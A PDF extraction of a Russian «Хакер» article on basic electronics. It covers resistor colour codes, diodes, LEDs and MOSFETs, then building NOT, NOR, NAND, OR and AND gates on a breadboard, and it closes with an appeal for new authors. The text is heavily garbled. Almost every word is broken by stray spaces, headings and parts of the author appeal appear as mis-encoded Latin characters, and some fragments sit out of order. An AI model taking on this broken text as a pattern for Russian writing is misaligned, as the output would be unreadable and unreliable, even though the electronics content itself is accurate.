полос ки на его кор пусе. С их помощью ты можешь опре делить номинал соп- 
ротив ления резис тора.

Ес ли на резис торе все го четыре полосы, то пер вые две полос ки (если все- 
го полос пять, то пер вые три) обоз нача ют осно вание чис ла количес тва омов,
третья — мно житель в сте пенях десяти. Соп ротив ление может быть прос то
в омах (мно житель 10^0), в кило омах (мно житель 10^3), мега омах (мно- 
житель 10^6) и так далее. Пос ледняя полоса обоз нача ет точ ность в про цен- 
тах. На фото — таб лица с рас шифров кой зна чений раз ных цве тов.

Оп ределе ние номина ла резис тора по цвет ным полос кам

Но тебе совер шенно необя затель но самому опре делять номинал, выс матри- 
вая в таб лице нуж ные цве та. Для таких рас четов сущес тву ют готовые 

. Дос таточ но прос то выб рать количес тво полос и впи сать цве та.
каль- 

кулято ры

Äèîä

Ди од — это фак тичес ки ана лог нип пеля, но для элек три чес тва. У диода,
в отли чие от резис тора, поляр ность есть и игра ет немало важ ную роль. Его
кон такты, элек тро ды, называ ются анод (+) и катод (-). Ток в диоде про ходит
толь ко от ано да к катоду. Если под клю чить диод неп равиль но, то ток через
него течь прос то не будет. Опре делить катод поможет полос ка на кор пусе
диода.

Схе ма и внеш ний вид диода

Го воря о диоде, нель зя не упо мянуть све тоди од. Эта надеж ная и дол говеч ная
«лам почка» работа ет так же, как и обыч ный диод, про пус кая ток толь ко
от ано да к катоду, но при этом она еще и излу чает свет. Одна из «ног» све- 
тоди ода длин нее, она и есть положи тель ный элек трод. Так же над катодом
рас полага ется засеч ка на лин зе.

Схе ма и внеш ний вид све тоди ода

WARNING

Не торопись под клю чать диод или све тоди од нап- 
рямую к батарей ке, ведь если через эти эле мен- 
ты прой дет слиш ком боль шой ток, на который они
не рас счи таны, то про изой дет корот кое замыка- 
ние и слу чит ся воз горание. Что бы это го избе- 
жать, в цепь надо пос ледова тель но под клю чить
уже изу чен ный нами резис тор. Мак сималь ный
допус тимый ток для самого рас простра нен ного
све тоди ода, про дающе гося в качес тве элек трон- 
ного ком понен та, равен 30 мА, а минималь ный,
которо го дос таточ но для све чения, нес коль ким
мил лиам перам. На прак тике, если будешь
исполь зовать све тоди од на 20 мА и питать его
от 5 В, исполь зуй резис тор с соп ротив лени ем
от 150 до 360 Ом.

ÄÀ ÊÒÎ ÒÀÊÎÉ ÝÒÎÒ ÂÀØ «ÌÎÑÔÅÒ»?

Как ты уже понял, глав ный эле мент в наших схе мах — это MOSFET-тран- 
зистор, или, как его еще называ ют, МОП-тран зистор. Раз новид ностей тран- 
зисто ров великое мно жес тво, но для нас сегод ня важен имен но он. MOSFET
рас шифро выва ется как Metal-Oxide-Semiconductor Field Effect Transistors,
металл-оки сел-полуп ровод ник полевой тран зистор. Собс твен но, пер вые три
сло ва — это и есть МОП. Эти аббре виату ры обоз нача ют струк туру и матери- 
алы, из которых элек трон ный ком понент изго тов лен.

Тран зистор — глав ный «кир пичик» в элек трон ных схе мах самых нево обра- 
зимых мас шта бов. Это изго тов ленный из полуп ровод ников элек трон ный при- 
бор, который при опре делен ных усло виях начина ет про пус кать через себя
элек три чес кий ток. В зависи мос ти от этих усло вий ток, про тека ющий через
тран зистор, может уве личи вать ся или умень шать ся, а так же может прек ратить
идти сов сем.

МОП-тран зисто ры быва ют двух видов — p-каналь ные и n-каналь ные.

Схе мы p-каналь ного и n-каналь ного МОП-тран зисто ров

Ес ли пос мотреть на условное обоз начение, то мож но заметить, что рабочих
кон тактов у полево го тран зисто ра три, они называ ются source, drain и gate (в
рус ско языч ной интер пре тации «исток», «сток» и «зат вор»). Говоря очень
прос тым язы ком, MOSFET мож но пред ста вить как некую «элек трон ную кноп- 
ку» или элек трон ный ключ, толь ко ток начина ет про текать меж ду исто ком
и сто ком не при нажатии, а при подаче нуж ного нап ряжения на зат вор,
которое отпи рает тран зистор. А ког да нап ряжение запира ет MOSFET, ток течь
прек раща ет.

Бук вы n и p в наз вани ях видов тран зисто ров обоз нача ют полуп ровод- 
никовый матери ал, из которых они сде ланы. Раз ница меж ду ними такая: n-
каналь ный тран зистор отпи рает ся нап ряжени ем, соот ветс тву ющим уже зна- 
комой нам логичес кой еди ницей, а p-каналь ный — нап ряжени ем, рав ным
логичес кому нулю.

Выб рать под ходящий тран зистор в наше вре мя очень прос то. Нес коль ко
десят ков лет назад для того, что бы опре делить тип тран зисто ра, ради олю- 
бите лю тре бова лось про шер стить тома спра воч ников. Сей час тебе дос таточ- 
но про читать на кор пусе тран зисто ра его номер и забить его в поис ковик.
Пер вым же резуль татом, ско рее все го, будет ссыл ка на даташит — документ
с тех ничес кими харак терис тиками.

Для нас глав ное в этом докумен те — най ти помет ку MOSFET или MOS
(что бы убе дить ся, дей стви тель но ли это тот тран зистор, который нам нужен),
а так же рас пинов ку тран зисто ра. Обыч но наз вания кон тактов под писыва ются
пер выми бук вами, рас положен ными око ло ног тран зисто ра на его фотог- 
рафии.

Продолжение статьи →
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ЦИФРОВАЯ

ЭЛЕКТРОНИКА

С САМОГО НАЧАЛА
СОБИРАЕМ СХЕМЫ НА MOSFET-

ТРАНЗИСТОРАХ

GEEK  НАЧАЛО СТАТЬИ←

ÍÓ ÍÀÊÎÍÅÖ-ÒÎ — ÑÁÎÐÊÀ ÑÕÅÌ!

Со бирать элек три чес кие схе мы мож но при помощи пай ки элек трон ных ком- 
понен тов на мон тажной пла те, но для это го необ ходимы спе циаль ное обо- 
рудо вание и навыки, без которых пай ка прев раща ется в опас ное занятие.
О тон костях пай ки я, воз можно, рас ска жу в одной из сле дующих ста тей,
а сегод ня мы будем собирать схе мы на бес паеч ной макет ной пла те, извес- 
тной так же как «бред борд» (breadboard).

Бред борды быва ют раз ных форм и раз меров, но смысл работы у них
похожий. Про вода и кон такты ком понен тов лег ко встав ляют ся в ячей ки
и надеж но там кре пят ся. Если под клю чение ока жет ся неп равиль ным, то
ничего перепа ивать не нуж но, дос таточ но прос то перес тавить кон такт в дру- 
гую ячей ку. Вот такой внеш ний вид и внут реннее устрой ство у стан дар тно го
неболь шого бред борда.

Внеш ний вид и внут реннее устрой ство бред борда

INFO

В перево де с англий ско го breadboard дос ловно
озна чает «дос ка для рез ки хле ба». Дав ным-дав но,
ког да о сов ремен ных макет ных и мон тажных пла- 
тах не шло и речи, а элек трон ные ком понен ты
были далеко не такими ком пак тны ми, как сей час,
древ ние ради олю бите ли тоже хотели собирать
про тоти пы сво их схем с воз можностью лег ко
и быс тро раз бирать и перес тавлять ком понен ты.
Они при дума ли вби вать гвоз ди в деревян ные
хлеб ные дос ки и на них нак ручивать нож ки элек- 
трон ных ком понен тов. Со вре менем бред борды
перес тали быть хлеб ными дос ками, но наз вание
оста лось.

Ñáîðêà âåíòèëÿ NOT íà ÌÎÏ-òðàíçèñòîðàõ

Схе мы мы нач нем собирать с самого прос того в сбор ке вен тиля НЕ. Так
как мы уже изу чили обоз начения элек трон ных ком понен тов, тебе будет лег ко
соб рать самому элек трон ную схе му по ее чер тежу, по которо му сра зу вид но,
что куда под клю чать.

Вот спи сок ком понен тов, которые понадо бят ся для этой схе мы:
один p-каналь ный MOSFET-тран зистор;•
один n-каналь ный MOSFET-тран зистор;•
два резис тора с соп ротив лени ем от 150 до 360 Ом;•
два све тоди ода.•

Ни же ты можешь уви деть прин ципи аль ную схе му инверто ра, которая наг- 
лядно показы вает, как NOT перево рачи вает сиг нал.

Прин ципи аль ная схе ма инверто ра

В схе ме инверто ра исполь зуют ся оба вида тран зисто ров. Для соз дания
на выходе еди ницы p-каналь ный тран зистор выб ран потому, что он спо собен
выдать ее прак тичес ки без потерь по нап ряжению, в отли чие от n-каналь ного,
который, в свою оче редь, чет ко фор миру ет ноль на выходе.

Ес ли добавить в схе му два све тоди ода, один из которых под клю чен к плю- 
су питания, а дру гой к минусу, то мы получим схе му, где, подав на вход низ кий
сиг нал, мы получим высокий, от которо го загорит ся све тоди од, под клю чен- 
ный к минусу, и наобо рот.

Ин вертор 2

При подаче логичес кой еди ницы вер хний p-каналь ный тран зистор зак рыт,
а ниж ний n-каналь ный открыт, из-за чего он дает на выходе 0 В. Цепь замыка- 
ется, и вер хний све тоди од загора ется. При подаче нуля открыт p-каналь ный
MOSFET, который выда ет на выходе чет кую еди ницу.

Соб ранный на бред борде вен тиль NOT выг лядит как на фото.

Ин вертор-проб ник на макет ке

NOR íà MOSFET-òðàíçèñòîðàõ

Сле дующая нес ложная схе ма — ИЛИ-НЕ. Для нее нам пот ребу ется в два раза
боль ше тран зисто ров, чем для пре дыду щей:

два p-каналь ных MOSFET-тран зисто ра;•
два n-каналь ных MOSFET-тран зисто ра;•
ре зис тор с соп ротив лени ем от 150 до 360 Ом;•
све тоди од.•

Таб лица истиннос ти — один из глав ных инс тру мен тов при про екти рова нии
схем. Еще раз пос мотрев на таб лицу ИЛИ-НЕ, видим, что еди ница на выходе
будет толь ко в том слу чае, если на обо их вхо дах логичес кий ноль. Сде лать
про вер ку такого усло вия мож но с помощью пос ледова тель ного под клю чения
двух p-каналь ных тран зисто ров, которые, как нам уже извес тно, отлично фор- 
миру ют еди ницу на выходе. При таком под клю чении если на вхо дах обо их
тран зисто ров будет ноль, то через них про течет ток. Но если хотя бы один
из них будет зак рыт, то ток не смо жет течь к конеч ному выходу всей схе мы.

Пос ледова тель ное под клю чение p-каналь ных тран зисто ров

Те перь смот рим в таб лицу истиннос ти и видим, что логичес кий ноль на ее
выходе появ ляет ся тог да, ког да хотя бы на одном из вхо дов уро вень нап- 
ряжения высокий — HIGH. Элек трон ный при бор, откры вающий ся еди ницей
и переда ющий на выход ноль, собира ется однознач но на n-каналь ных тран- 
зисто рах. Соб рать такой при бор лег ко при помощи парал лель ного под клю- 
чения двух n-каналь ных тран зисто ров, соеди нив их сто ки как общий выход,
а исто ки соеди нить и под клю чить к зем ле, то есть к минусу питания. Таким
обра зом, еди ница на любом из вхо дов тран зисто ров откро ет его, и ток
потечет от минуса к выходу.

Па рал лель ное под клю чение n-каналь ных тран зисто ров

Со еди нив вмес те две пре дыду щие схе мы, мы получим рабочий вен тиль
ИЛИ-НЕ на МОП-тран зисто рах.

Схе ма ИЛИ-НЕ

ИЛИ-НЕ на макет ной пла те

Ñõåìà NAND íà òðàíçèñòîðàõ

Для сбор ки этой схе мы нам пот ребу ются те же самые ком понен ты, что и для
пре дыду щей.

Заг лянув в таб лицу истиннос ти, видим, что еди ница на выходе этой схе мы
соз дает ся при наличии хотя бы на одном из вхо дов логичес кого нуля. Как мы
уже поняли, еди ница на выходе фор миру ется с помощью p-каналь ных тран- 
зисто ров, усло вие «хотя бы на одном» реали зует ся с помощью парал лель- 
ного под клю чения.

Низ кий уро вень нап ряжения (LOW) на выходе соз дает ся при усло вии, что
на всех вхо дах вен тиля HIGH. Ноль мы фор миру ем n-каналь ными тран зисто- 
рами, а стро гое усло вие «если на всех вхо дах» реали зуем с помощью пос- 
ледова тель ного под клю чения этих тран зисто ров.

В ито ге, соб рав две ком бинации воеди но, получа ем такую схе му.

Схе ма И-НЕ

И-НЕ на макет ной пла те

Ñõåìû OR è AND íà ïîëåâûõ òðàíçèñòîðàõ

Ес ли срав нить таб лицы истиннос ти ИЛИ-НЕ и ИЛИ, мож но заметить, что зна- 
чения их выходов вза имно инверти рова ны. Это зна чит, что вен тиль NOR мы
можем прев ратить в OR, прос то добавив к выходу вен тиль NOT. Так же этот
спо соб работа ет в обратную сто рону: ИЛИ мож но лег ко прев ратить
в ИЛИ-НЕ.

Сов местив NOR и инвертор, получа ем такую схе му.

Схе ма ИЛИ

ИЛИ на макет ной пла те

Ана логич ным обра зом инверти руя NAND, мы прев раща ем его в логичес кое
И.

Схе ма И

И на макет ной пла те

ÂÛÂÎÄÛ

В этой статье мы разоб рали соз дание самых базовых бло ков циф ровых схем.
Конеч но, это очень малая часть такой обширной темы, как элек тро ника.
К тому же у изу чен ных нами вен тилей может быть и три вхо да, и четыре, а то
и боль ше. Все это усложня ет самос тоятель ное про екти рова ние схем
логичес ких эле мен тов. Под водя итог, мож но выделить нес коль ко пра вил
и советов по соз данию вен тилей циф ровой логики на МОП-тран зисто рах:

На p-каналь ных тран зисто рах реали зуют ся элек три чес кие цепи, в которых
совокуп ность вход ных сиг налов при водит в еди нице на выходе.

•

На n-каналь ных тран зисто рах соз дают ся цепи, в которых совокуп ность
вход ных сиг налов фор миру ет низ кое нап ряжение на выходе.

•

Стро гое усло вие «если на всех вхо дах схе мы находит ся опре делен ный
уро вень нап ряжения» соз дает ся с помощью пос ледова тель ного под клю- 
чения тран зисто ров.

•

Ус ловие «хотя бы на одном вхо де» соз дает ся с помощью парал лель ного
под клю чения тран зисто ров.

•

Изу чив схе мотех нику, ты смо жешь разоб рать ся в устрой стве сов ремен ной
элек тро ники, луч ше понять, как работа ет твой компь ютер, и дру гие слож ные
на пер вый взгляд вещи!



СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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